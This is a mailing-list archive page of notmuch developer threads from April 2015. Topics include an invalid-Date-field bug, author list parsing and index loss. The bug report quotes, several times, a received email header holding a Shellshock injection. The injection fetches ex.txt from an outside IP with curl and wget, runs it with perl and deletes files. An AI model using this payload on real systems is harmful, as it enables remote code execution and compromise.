bug: notmuch cannot handle invalid Date fields

2015-04-22 Thread Tomi Ollila
On Wed, Apr 22 2015, Johannes Schauer wrote: > Hi, > > I recently received an email with the following date field (the value of all > other headers is the same): > > Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO > 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget >

bug: notmuch cannot handle invalid Date fields

2015-04-22 Thread Johannes Schauer
s scrubbed... Name: signature.asc Type: application/pgp-signature Size: 819 bytes Desc: signature URL: <http://notmuchmail.org/pipermail/notmuch/attachments/20150422/f0a4ae30/attachment.sig>

notmuch_thread_get_authors

2015-04-22 Thread David Bremner
Austin Clements writes: > You're completely right that there's no way to reliably parse the > authors list returned by notmuch_thread_get_authors. So don't do > that. Just use notmuch_thread_get_messages, walk the messages list, and > build your own authors list. There's no need to introduce

bug: notmuch cannot handle invalid Date fields

2015-04-22 Thread Johannes Schauer
tion/pgp-signature Size: 819 bytes Desc: signature URL: <http://notmuchmail.org/pipermail/notmuch/attachments/20150422/d6b704be/attachment.sig>

notmuch_thread_get_authors

2015-04-22 Thread Ronny Chevalier
On Wed, Apr 22, 2015 at 3:28 AM, Austin Clements wrote: > On Tue, 21 Apr 2015, Ronny Chevalier wrote: >> On Tue, Apr 21, 2015 at 1:35 AM, David Bremner wrote: >>> Ronny Chevalier writes: >> Austin Clements wrote: >>> And I think there's a fairly easy way to do it in C code that will >>> also

Re: bug: notmuch cannot handle invalid Date fields

2015-04-22 Thread Tomi Ollila
On Wed, Apr 22 2015, Johannes Schauer j.scha...@email.de wrote: Hi, I recently received an email with the following date field (the value of all other headers is the same): Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget

Re: bug: notmuch cannot handle invalid Date fields

2015-04-22 Thread Johannes Schauer
Hi, Quoting Tomi Ollila (2015-04-22 15:37:15) What do you mean by that datetime cannot handle dates before 1900 ? : $ python : Python 2.7.6 (default, Mar 22 2014, 22:59:56) : ... : datetime.datetime.strptime('1799-11', '%Y-%m') : datetime.datetime(1799, 11, 1, 0, 0) :

Re: Notmuch removing messages from the index, when calling `new` two times in a row

2015-04-22 Thread David Bremner
Mayeu m...@6x9.fr writes: 3. launching `notmuch new` right after, without having done anything else on my Maildir folder: Cleaned up 5 of 156 directories (1m 9s remaining). No new

Notmuch removing messages from the index, when calling `new` two times in a row

2015-04-22 Thread Mayeu
Hi, I have hit a weird behaviour with notmuch. I recently saw a drop of the number of messages in my index, and after doing a backup of the current state of the index, I am able to reproduce this behaviour fairly consistently. ie: notmuch is purgin at least 50% of its index of messages that are

bug: notmuch cannot handle invalid Date fields

2015-04-22 Thread Johannes Schauer
Hi, I recently received an email with the following date field (the value of all other headers is the same): Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr